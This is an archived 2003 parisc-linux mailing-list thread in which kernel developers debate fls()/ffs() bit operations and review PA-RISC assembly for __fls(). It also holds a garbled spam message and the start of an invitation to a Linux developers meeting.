List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19457

On Fri, Sep 05, 2003 at 01:00:35PM +0000, Joel Soete wrote:
> remember me that I also suggest a __fls() in: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020628.html>

sorry - I missed that.
 
> Without any remark, I don't know if you could also be interested to 
> include it in 2.6.

no - becuase fls() and ffs() return the same values for given input.
(I see comments in include/asm-ppc/bitops.h to that effect).

parisc __ffs costs the same number of cycles regardless of input.
(2 cycles per 3 instructions about on PA 2.0 machines).
ie there is no advantage to "searching from the top" vs "searching
from the bottom" which is what I think the intent of fls() vs ffs().
For generic implementations, this intent is important.

What we could do is redefine fls() to also use ffs() and add
my comment above. Patch appended. Please test/review and tell me
if that should be committed. I haven't tested it yet and the comments
in PPC bitops.h could be wrong.

thanks,
grant


Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
retrieving revision 1.2
diff -u -p -r1.2 bitops.h
--- include/asm-parisc/bitops.h	1 Sep 2003 00:30:42 -0000	1.2
+++ include/asm-parisc/bitops.h	5 Sep 2003 18:11:21 -0000
@@ -281,9 +281,14 @@ static __inline__ int ffs(int x)
 
 /*
  * fls: find last bit set.
+ *
+ * parisc __ffs costs the same number of cycles regardless of input.
+ * A similar implementation for __fls() would have no advantage.
+ * ie there is no advantage to "searching from the top" vs "searching 
+ * from the bottom" which is the intent of fls() vs ffs().
  */
 
-#define fls(x) generic_fls(x)
+#define fls(x) ffs(x)
 
 /*
  * hweightN: returns the hamming weight (i.e. the number


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a fast fls also for 2.6?
Date: Fri, 05 Sep 2003 19:26:13 +0000
Lines: 74
Approved: news@gmane.org
Message-ID: <3F58E355.30009@tiscali.be>
References: <3F58838A.9010203@tiscali.be> <3F5888F3.5060609@tiscali.be> <20030905182621.GC10216@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622760 30728 80.91.229.3 (22 Nov 2014 02:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 13:26:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF9C94830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Sep 2003 13:26:14 -0600 (MDT)
Original-Received: from [62.235.120.160] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19vMDk-00024o-00; Fri, 05 Sep 2003 21:26:12 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <20030905182621.GC10216@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19458

Grant Grundler wrote:

>On Fri, Sep 05, 2003 at 01:00:35PM +0000, Joel Soete wrote:
>  
>
>>remember me that I also suggest a __fls() in: 
>><http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020628.html>
>>    
>>
>
>sorry - I missed that.
> 
>  
>
>>Without any remark, I don't know if you could also be interested to 
>>include it in 2.6.
>>    
>>
>
>no - becuase fls() and ffs() return the same values for given input.
>(I see comments in include/asm-ppc/bitops.h to that effect).
>
>parisc __ffs costs the same number of cycles regardless of input.
>(2 cycles per 3 instructions about on PA 2.0 machines).
>ie there is no advantage to "searching from the top" vs "searching
>from the bottom" which is what I think the intent of fls() vs ffs().
>For generic implementations, this intent is important.
>
>What we could do is redefine fls() to also use ffs() and add
>my comment above. Patch appended. Please test/review and tell me
>if that should be committed. I haven't tested it yet and the comments
>in PPC bitops.h could be wrong.
>
>thanks,
>grant
>
>
>Index: include/asm-parisc/bitops.h
>===================================================================
>RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
>retrieving revision 1.2
>diff -u -p -r1.2 bitops.h
>--- include/asm-parisc/bitops.h	1 Sep 2003 00:30:42 -0000	1.2
>+++ include/asm-parisc/bitops.h	5 Sep 2003 18:11:21 -0000
>@@ -281,9 +281,14 @@ static __inline__ int ffs(int x)
> 
> /*
>  * fls: find last bit set.
>+ *
>+ * parisc __ffs costs the same number of cycles regardless of input.
>+ * A similar implementation for __fls() would have no advantage.
>+ * ie there is no advantage to "searching from the top" vs "searching 
>+ * from the bottom" which is the intent of fls() vs ffs().
>  */
> 
>-#define fls(x) generic_fls(x)
>+#define fls(x) ffs(x)
> 
> /*
>  * hweightN: returns the hamming weight (i.e. the number
>
>  
>
My bad, I undurstand that ffs return the index of the first bit set otc 
fls returning the the index of the last bit set
(ie for 1010: ffs would return 2 and fls would return 4)?

Sorry for confusion. It was never the less a good exercice ;)

Thanks,
    Joel




From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a fast fls also for 2.6?
Date: Fri, 5 Sep 2003 13:29:27 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030905192927.GD10216@dsl2.external.hp.com>
References: <3F58838A.9010203@tiscali.be> <3F5888F3.5060609@tiscali.be> <20030905182621.GC10216@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622761 30730 80.91.229.3 (22 Nov 2014 02:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 13:29:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 98B6448A3; Fri,  5 Sep 2003 13:29:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030905182621.GC10216@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19459

On Fri, Sep 05, 2003 at 12:26:21PM -0600, Grant Grundler wrote:
> > Without any remark, I don't know if you could also be interested to 
> > include it in 2.6.
> 
> no - becuase fls() and ffs() return the same values for given input.
> (I see comments in include/asm-ppc/bitops.h to that effect).

James Bottomley privately corrected me. fls() != ffs().
fls() returns most significant bit set.

The examples provided:
	* Note fls(0) = 0, fls(1) = 1, fls(0x80000000) = 32.

have the same value for ffs() and fls(). I didn't read the rest.
Good examples for showing bit numbering though.

I'll work on adding 64-bit support to your __fls() and commit that.

sorry for the confusion,
grant



From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a fast fls also for 2.6?
Date: Fri, 05 Sep 2003 19:54:42 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <3F58EA02.8040404@tiscali.be>
References: <3F58838A.9010203@tiscali.be> <3F5888F3.5060609@tiscali.be> <20030905182621.GC10216@dsl2.external.hp.com> <20030905192927.GD10216@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622761 30733 80.91.229.3 (22 Nov 2014 02:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep  5 13:54:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87C034830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Sep 2003 13:54:43 -0600 (MDT)
Original-Received: from [62.235.120.160] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19vMfJ-0003HJ-00; Fri, 05 Sep 2003 21:54:41 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <20030905192927.GD10216@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19460

Grant Grundler wrote:

>On Fri, Sep 05, 2003 at 12:26:21PM -0600, Grant Grundler wrote:
>  
>
>>>Without any remark, I don't know if you could also be interested to 
>>>include it in 2.6.
>>>      
>>>
>>no - becuase fls() and ffs() return the same values for given input.
>>(I see comments in include/asm-ppc/bitops.h to that effect).
>>    
>>
>
>James Bottomley privately corrected me. fls() != ffs().
>fls() returns most significant bit set.
>
>The examples provided:
>	* Note fls(0) = 0, fls(1) = 1, fls(0x80000000) = 32.
>
>have the same value for ffs() and fls(). I didn't read the rest.
>Good examples for showing bit numbering though.
>
>I'll work on adding 64-bit support to your __fls() and commit that.
>
Thanks a lot :) (it just make me happy to be usefull)

>
>sorry for the confusion,
>
Please, don't be sorry, I am frequently the first confusing thought ;)

Cheers,
    Joel




From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] Re: 2.6.0-test4-pa12 __fls()
Date: Sat, 06 Sep 2003 22:33:29 +0000
Lines: 105
Approved: news@gmane.org
Message-ID: <3F5A60B9.3050103@tiscali.be>
References: <3F5A4023.9070909@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622761 30736 80.91.229.3 (22 Nov 2014 02:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:21 +0000 (UTC)
To: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  6 16:33:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FB7E4843
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Sep 2003 16:33:29 -0600 (MDT)
Original-Received: from [62.235.120.231] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19vlcT-0002Mm-00; Sun, 07 Sep 2003 00:33:26 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F5A4023.9070909@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19461

Hi Willy And Grant,

> On Fri, Sep 05, 2003 at 11:59:14PM -0600, Grant Grundler wrote:
> >/ > kudos to Joel Soete for mangling lamont's __ffs() to produce __fls().
/> >/ > Again, I added 64-bit support.  Booted on a500.
/> >/ > Didn't test 32-bit but fls_test.c included in above URL works in user space.
/> >/ > (162 cycles per loop iteration, 00:29:01 to complete on 400Mhz PA8500).
/>
> Sorry, but it's clearly broken.
> 
> >/ -#define fls(x) generic_fls(x)
/> >/ +static __inline__ unsigned long __fls(unsigned long x)
/> >/ +{
/> >/ +	unsigned long ret;
/> >/ +
/> >/ +	__asm__( " ldi    1,%1\n"
/> >/ +#if BITS_PER_LONG > 32
/> >/ +		" extrd,u,*<>  %0,63,32,%%r0\n"
/> 
> if any of the bottom 32 bits are set ...
> 
> >/ +		" depd,*TR  %0,31,32,%0\n"
/> 
> move the bottom 32 bits up into the top 32 bits
> 
> >/ +		" addi    32,%1,%1\n"
/> 
> otherwise add 32
> 
> >/ +#endif
/> 
> ... and then do things that can't see the top 32 bits.

hmm either I had to re-think the algo as you mentioned below
(so that to minimise the difference between 32 and 64 bits kernel)
or writing two distinct routine. (the 64 bits using depd,Z,*TR [...]
in place of 32 bits zdep

btw: is somebody knows how to compile with _hppa64-gcc_ shuch trivial loop
#include <stdio.h>

main()
{
	unsigned long long i;

	for (i=0; i<0xffffffffffffffffUL; i++) {
		printf ("i = %#010x (%ll)\n", i);
	}
}

(afair the problem if the call to printf() )

> 
> >/ +		" extru,<>  %0,15,16,%%r0\n"
/> >/ +		" zdep,TR  %0,15,16,%0\n"
/> >/ +		" addi     16,%1,%1\n"
/> 
> think you could put in comments similar to the endian swapping?  it makes
> the intent clearer to see.

My bad (in fact i was waiting some accept/reject comments before adding comment as pseudo_fls() was written)

> as far as i can tell, the basic principle
> here is..
> 
> if (top N bits clear)
> 	shift N bits right
> else
> 	add N 
> 
> right?

Sorry, I trusted that pseudo_fls() in the mentionned message:
(http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020628.html)
was enough ;)

> 
> seems to me this whole thing should be done as
> 
> if (any top N bits set)
> 	shift N bits left
> else
> 	subtract N
> 
> >/ +		" extru,<>  %0,7,8,%%r19\n"
/> 
> r19?  That's not mentioned as being clobbered.  I think you mean r0.

Yes a typo of mine (my bad sorry)

As i am in holidays, the pb is that I have no palinux box at my disposal to experiment another solution :(

Joel

PS: may i submit you an additional thought without any interest (may be):
the suggested code is "
+	return x ? (__ffs((unsigned long)x) + 1) : 0;

and if I refer to k&r book long is of 32bits lenght? (otc int is arch dependent)
But may be outdated by C99?

Thanks for additonal advise (and sorry for so much questions against so poor answers ;)




From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] Re: 2.6.0-test4-pa12 __fls()
Date: Sat, 6 Sep 2003 23:11:35 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030907061135.GH10510@tausq.org>
References: <3F5A4023.9070909@tiscali.be> <3F5A60B9.3050103@tiscali.be>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622762 30737 80.91.229.3 (22 Nov 2014 02:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  7 00:07:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 347264843
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Sep 2003 00:07:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 50697CD2FC; Sat,  6 Sep 2003 23:11:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F5A60B9.3050103@tiscali.be>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19462

> btw: is somebody knows how to compile with _hppa64-gcc_ shuch trivial loop
> #include <stdio.h>
> 
> main()
> {
> 	unsigned long long i;
> 
> 	for (i=0; i<0xffffffffffffffffUL; i++) {
> 		printf ("i = %#010x (%ll)\n", i);
> 	}
> }
> 
> (afair the problem if the call to printf() )

we don't have 64-bit glibc/userspace yet, so you can't do this.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "..." <MAILER-DAEMON@mailrecv24.bigmailbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:
Date: Mon, 8 Sep 2003 03:58:22
Lines: 22
Approved: news@gmane.org
Message-ID: <20030907195855.947C84843@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="gb2312"
X-Trace: ger.gmane.org 1416622762 30751 80.91.229.3 (22 Nov 2014 02:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  7 13:58:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 163.net (unknown [61.53.154.161])
	by dsl2.external.hp.com (Postfix) with SMTP id 947C84843
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Sep 2003 13:58:55 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19463

ߣ
һְš˽޹ѧں֤ȯרҵγ̣֤ȯг顣
Ź˾֤ȯͶʲ
Ϲ˾֤ȯѵʦ
Ϣ̨Ŀ
Ÿ˾֤ȯͶʹ
о
ѰְλͶʹʻٳԱרְְɣ
нԪ
ʽٳԶ̺ϵ
Email:fajianren963@hotmail.com  suaichen15@hotmail.com
ף֣

-----------------------------------------------------------------
200M+50Mҵʾ+,ֻ189Ԫ/
ûԼ״MyDNSƽ̨
ʱ磺http://www.kldns.net  http://www.cnkl.net
-----------------------------------------------------------------
    
......: ʱʼȺ쳵 http://cnkl.net/klmails/ :.....



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Invitation to the 8th Oldenburg Linux Developers Meeting
Date: Mon, 8 Sep 2003 19:13:23 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <20030908171323.GD783__49453.9679647007$1416622762$gmane$org@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="FN+gV9K+162wdwwF"
X-Trace: ger.gmane.org 1416622762 30754 80.91.229.3 (22 Nov 2014 02:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:22 +0000 (UTC)
To: Linux for m68k <linux-m68k@phil.uni-sb.de>,
	Linux for MIPS <linux-mips@linux-mips.org>,
	Linux for PA-RISC <parisc-linux@lists.parisc-linux.org>,
	Debian Boot Development <debian-boot@lists.debian.org>,
	Debian M68k Development <debian-68k@lists.debian.org>,
	Debian MIPS Development <debian-mips@lists.debian.org>,
	Debian PA-RISC Development <debian-hppa@lists.debian.org>,
	Debian ARM Development <debian-arm@lists.debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  8 11:17:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03BB2483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Sep 2003 11:17:34 -0600 (MDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id A7105366B70; Mon,  8 Sep 2003 19:17:23 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m19wPZr-000orUC@finlandia.Infodrom.North.DE>
	for debian-arm@lists.debian.org; Mon, 8 Sep 2003 19:13:23 +0200 (CEST) 
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19464

--FN+gV9K+162wdwwF
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello everybody,

as always, it has taken quite some time to get the required
confirmation from our University that we can hold the Oldenburg Linux
Developers Meeting again.

       Invitation to the 8th Oldenburg Linux Developers Meeting
       =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D

A short overview:

URL:   http://oldenburger.linuxtage.de/Oldenburg2003/
What:  Oldenburg Linux Developers Meeting 2003 #8
Who:   Every developer interested in Linux on non-i386 platforms
       Every developer interested in developing the debian-installer
When:  September, 25th to 28th (Thursday noon to Sunday afternoon)
Where: University of Oldenburg, science building in Oldenburg Wechloy,
       northern Germany (roughly west of Bremen)

The meeting is organised by ffis e.V.  Its goal is to provide
developers a means to work in common on the non-i386 Linux ports and
related topics and to further the exchange of ideas and discussion
about the several ports.  This year there will also be a group of
people who will work on the new installer system for Debian.  So one
of the targets is to get a working debian-installer running on all
platforms supported by Debian GNU/Linux.

If you have not attended any previous meeting, you might like to take a=20
look at the meetings' website at <http://oldenburger.linuxtage.de/devel.htm=
l>.
There are links to pictures from former meetings as well.

Attendance is free of cost including food and beverage in the working
rooms (although we are always thankful for donations).  We will have
dinner in some restaurants in Oldenburg (not yet decided which ones, though=
) if you
like.

You don't have to attend from Thursday.  This is just an offer for
those of you who would like to and who can afford to come early.  If
you can't make it that early, simply join when you can afford it.

We will use several rooms, one for hacking on Linux, one for hacking
on the debian-installer, and the others for sleeping. =20

Please bring a sleeping bag, camping mat or cot, towels, shower stuff,
clothes and so on with you.  There is a sports building of the
univesity next to the one we stay in, which has showers we can use.

Besides this, of course you need to bring all the technical stuff with
you: computers, monitors, technical documentation, network cabling,
